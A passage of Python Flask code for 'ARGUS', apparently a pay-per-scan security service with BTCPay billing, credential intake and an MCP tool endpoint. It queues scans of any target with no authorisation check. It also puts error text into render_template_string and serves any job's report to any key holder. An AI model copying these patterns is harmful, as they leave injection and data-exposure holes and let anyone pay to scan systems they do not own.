|
|
if kind not in PRICES_SATS:
|
|
return jsonify({"error": "unknown kind", "valid": list(PRICES_SATS.keys())}), 400
|
|
if not target or not email:
|
|
return jsonify({"error": "target and email required"}), 400
|
|
params = {"username": (data.get("username") or "").strip(),
|
|
"password": (data.get("password") or "").strip(),
|
|
"domain": (data.get("domain") or "").strip()}
|
|
sats = PRICES_SATS[kind]
|
|
job_id = uuid.uuid4().hex[:12]
|
|
db = get_db()
|
|
db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)",
|
|
(job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit()
|
|
link, inv_id = btcpay_create_invoice(sats, job_id, f"ARGUS {kind} {target}",
|
|
redirect=f"{PUBLIC_BASE}/report/{job_id}")
|
|
if not link:
|
|
return jsonify({"error": "payment init failed", "detail": inv_id}), 502
|
|
db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit()
|
|
return jsonify({"job_id": job_id, "status": "unpaid", "sats": sats,
|
|
"checkout": link, "report_url": f"{PUBLIC_BASE}/report/{job_id}",
|
|
"poll": f"/api/job/{job_id}"})
|
|
|
|
@app.route("/api/subscribe", methods=["POST"])
|
|
def api_subscribe():
|
|
data = request.get_json(silent=True) or request.form
|
|
email = (data.get("email") or "").strip()
|
|
plan = (data.get("plan") or "mcp-weekly").strip()
|
|
key = (data.get("api_key") or "").strip()
|
|
if plan not in MCP_PLANS:
|
|
return jsonify({"error": "unknown plan", "valid": list(MCP_PLANS.keys())}), 400
|
|
if not email or "@" not in email:
|
|
return jsonify({"error": "valid email required"}), 400
|
|
if not key:
|
|
key = mint_key(email, "mcp")
|
|
elif not key_valid(key):
|
|
return jsonify({"error": "invalid api_key"}), 400
|
|
sats = MCP_PLANS[plan]["sats"]
|
|
order_id = "sub_" + uuid.uuid4().hex[:12]
|
|
# persist the pending subscription intent keyed by order_id -> (key, email, plan)
|
|
db = get_db()
|
|
db.execute("""CREATE TABLE IF NOT EXISTS sub_orders (
|
|
order_id TEXT PRIMARY KEY, api_key TEXT, email TEXT, plan TEXT,
|
|
created_at TEXT DEFAULT (datetime('now')))""")
|
|
db.execute("INSERT INTO sub_orders (order_id, api_key, email, plan) VALUES (?,?,?,?)",
|
|
(order_id, key, email, plan)); db.commit()
|
|
link, inv_id = btcpay_create_invoice(sats, order_id, f"ARGUS MCP subscription — {plan}",
|
|
redirect=f"{PUBLIC_BASE}/docs")
|
|
if not link:
|
|
return jsonify({"error": "payment init failed", "detail": inv_id}), 502
|
|
return jsonify({"api_key": key, "plan": plan, "sats": sats,
|
|
"checkout": link, "mcp_endpoint": f"{PUBLIC_BASE}/mcp"})
|
|
|
|
@app.route("/subscribe", methods=["POST"])
|
|
def subscribe_form():
|
|
email = request.form.get("email", "").strip()
|
|
plan = request.form.get("plan", "mcp-weekly").strip()
|
|
key = request.form.get("api_key", "").strip()
|
|
if plan not in MCP_PLANS:
|
|
return render_template_string(landing() + "<script>alert('Invalid plan')</script>"), 400
|
|
if not email or "@" not in email:
|
|
return render_template_string(landing() + "<script>alert('Valid email required')</script>"), 400
|
|
if not key:
|
|
key = mint_key(email, "mcp")
|
|
sats = MCP_PLANS[plan]["sats"]
|
|
order_id = "sub_" + uuid.uuid4().hex[:12]
|
|
db = get_db()
|
|
db.execute("""CREATE TABLE IF NOT EXISTS sub_orders (
|
|
order_id TEXT PRIMARY KEY, api_key TEXT, email TEXT, plan TEXT,
|
|
created_at TEXT DEFAULT (datetime('now')))""")
|
|
db.execute("INSERT INTO sub_orders (order_id, api_key, email, plan) VALUES (?,?,?,?)",
|
|
(order_id, key, email, plan)); db.commit()
|
|
link, inv_id = btcpay_create_invoice(sats, order_id, f"ARGUS MCP subscription — {plan}",
|
|
redirect=f"{PUBLIC_BASE}/docs")
|
|
if link:
|
|
return f'<meta http-equiv="refresh" content="0;url={link}">'
|
|
return render_template_string(landing() + f"<script>alert('Payment init failed: {inv_id}')</script>")
|
|
|
|
@app.route("/mcp", methods=["POST", "GET"])
|
|
def mcp_endpoint():
|
|
"""Model Context Protocol server over HTTP (JSON-RPC 2.0). Subscription-gated."""
|
|
key = request.headers.get("X-API-Key", "") or request.args.get("key", "")
|
|
if not sub_active(key):
|
|
return jsonify({"jsonrpc": "2.0", "id": None,
|
|
"error": {"code": -32001, "message": "Active MCP subscription required. POST /api/subscribe to pay."}}), 402
|
|
if request.method == "GET":
|
|
return jsonify({"name": "ARGUS", "protocol": "mcp", "version": "4.0.0",
|
|
"auth": "X-API-Key (subscription required)"})
|
|
body = request.get_json(silent=True)
|
|
if not body:
|
|
return jsonify({"jsonrpc": "2.0", "id": None, "error": {"code": -32700, "message": "invalid json"}}), 400
|
|
method = body.get("method", "")
|
|
rid = body.get("id", None)
|
|
if method == "initialize":
|
|
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {
|
|
"protocolVersion": "2024-11-05",
|
|
"capabilities": {"tools": {}},
|
|
"serverInfo": {"name": "ARGUS", "version": "4.0.0"}}})
|
|
if method == "notifications/initialized":
|
|
return Response("", 202)
|
|
if method == "ping":
|
|
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {}})
|
|
if method == "tools/list":
|
|
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {"tools": MCP_TOOLS}})
|
|
if method == "tools/call":
|
|
p = body.get("params", {})
|
|
name = p.get("name", "")
|
|
args = p.get("arguments", {}) or {}
|
|
try:
|
|
if name == "argus_arsenal":
|
|
out = {}
|
|
for cat, tools in ARSENAL:
|
|
out[cat] = [{"name": n, "desc": d} for n, d in tools]
|
|
text = json.dumps({"services": list(PRICES_SATS.keys()), "prices_sats": PRICES_SATS, "arsenal": out}, indent=2)
|
|
elif name == "argus_scan":
|
|
kind = args.get("kind", "web-vuln")
|
|
target = (args.get("target") or "").strip()
|
|
email = (args.get("email") or "").strip()
|
|
if kind not in PRICES_SATS:
|
|
text = json.dumps({"error": "unknown kind", "valid": list(PRICES_SATS.keys())})
|
|
elif not target or not email:
|
|
text = json.dumps({"error": "target and email required"})
|
|
else:
|
|
params = {"username": args.get("username", "").strip(),
|
|
"password": args.get("password", "").strip(),
|
|
"domain": args.get("domain", "").strip()}
|
|
job_id = uuid.uuid4().hex[:12]
|
|
db = get_db()
|
|
db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)",
|
|
(job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit()
|
|
link, inv_id = btcpay_create_invoice(PRICES_SATS[kind], job_id, f"ARGUS {kind} {target}",
|
|
redirect=f"{PUBLIC_BASE}/report/{job_id}")
|
|
db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit()
|
|
text = json.dumps({"job_id": job_id, "status": "unpaid", "sats": PRICES_SATS[kind],
|
|
"checkout": link, "report_url": f"{PUBLIC_BASE}/report/{job_id}",
|
|
"poll": f"/api/job/{job_id}"})
|
|
elif name == "argus_status":
|
|
job_id = args.get("job_id", "")
|
|
db = get_db()
|
|
job = db.execute("SELECT id,status,report,raw FROM jobs WHERE id=?", (job_id,)).fetchone()
|
|
text = json.dumps(dict(job)) if job else json.dumps({"error": "not found"})
|
|
elif name == "argus_jobs":
|
|
email = key_email(key)
|
|
db = get_db()
|
|
rows = db.execute("SELECT id,kind,target,status,created_at FROM jobs WHERE email=? ORDER BY created_at DESC LIMIT 50", (email,)).fetchall()
|
|
text = json.dumps([dict(r) for r in rows])
|
|
else:
|
|
text = json.dumps({"error": f"unknown tool '{name}'"})
|
|
return jsonify({"jsonrpc": "2.0", "id": rid, "result": {"content": [{"type": "text", "text": text}]}})
|
|
except Exception as e:
|
|
return jsonify({"jsonrpc": "2.0", "id": rid, "error": {"code": -32000, "message": str(e)}})
|
|
return jsonify({"jsonrpc": "2.0", "id": rid, "error": {"code": -32601, "message": f"method not found: {method}"}})
|
|
|
|
@app.route("/submit", methods=["POST"])
|
|
def submit():
|
|
kind = request.form.get("kind", "web-vuln")
|
|
target = request.form.get("target", "").strip()
|
|
email = request.form.get("email", "").strip()
|
|
params = {
|
|
"username": request.form.get("username", "").strip(),
|
|
"password": request.form.get("password", "").strip(),
|
|
"domain": request.form.get("domain", "").strip(),
|
|
}
|
|
if not target or not email:
|
|
return render_template_string(landing() + "<script>alert('Target and email required')</script>"), 400
|
|
sats = PRICES_SATS.get(kind, 4000)
|
|
job_id = uuid.uuid4().hex[:12]
|
|
db = get_db()
|
|
db.execute("INSERT INTO jobs (id,email,kind,target,status,params) VALUES (?,?,?,?,?,?)",
|
|
(job_id, email, kind, target, "unpaid", json.dumps(params))); db.commit()
|
|
link, inv_id = btcpay_create_invoice(sats, job_id, f"ARGUS {kind} {target}",
|
|
redirect=f"{PUBLIC_BASE}/report/{job_id}")
|
|
if link:
|
|
db.execute("UPDATE jobs SET invoice_id=? WHERE id=?", (inv_id, job_id)); db.commit()
|
|
return f'<meta http-equiv="refresh" content="0;url={link}">'
|
|
return render_template_string(landing() + f"<script>alert('Payment init failed: {inv_id}')</script>")
|
|
|
|
@app.route("/webhook/btcpay", methods=["POST"])
|
|
def btcpay_webhook():
|
|
raw = request.get_data()
|
|
if not btcpay_verify(request.headers.get("BTCPay-Sig", ""), raw):
|
|
return "bad sig", 401
|
|
data = request.get_json(force=True)
|
|
if data.get("type") == "InvoiceSettled":
|
|
inv = data.get("invoice", {})
|
|
order_id = (inv.get("metadata", {}) or {}).get("orderId")
|
|
if not order_id:
|
|
return "ok", 200
|
|
db = get_db()
|
|
# subscription settlement
|
|
if order_id.startswith("sub_"):
|
|
row = db.execute("SELECT * FROM sub_orders WHERE order_id=?", (order_id,)).fetchone()
|
|
if row:
|
|
exp = extend_subscription(row["api_key"], row["email"], row["plan"])
|
|
db.execute("DELETE FROM sub_orders WHERE order_id=?", (order_id,))
|
|
db.commit()
|
|
return "ok", 200
|
|
# scan settlement
|
|
job = db.execute("SELECT * FROM jobs WHERE id=?", (order_id,)).fetchone()
|
|
if job and job["status"] == "unpaid":
|
|
db.execute("UPDATE jobs SET status='running' WHERE id=?", (order_id,)); db.commit()
|
|
threading.Thread(target=run_job, args=(order_id,), daemon=True).start()
|
|
return "ok", 200
|
|
|
|
if __name__ == "__main__":
|
|
init_db()
|
|
app.run(host="0.0.0.0", port=5000)
|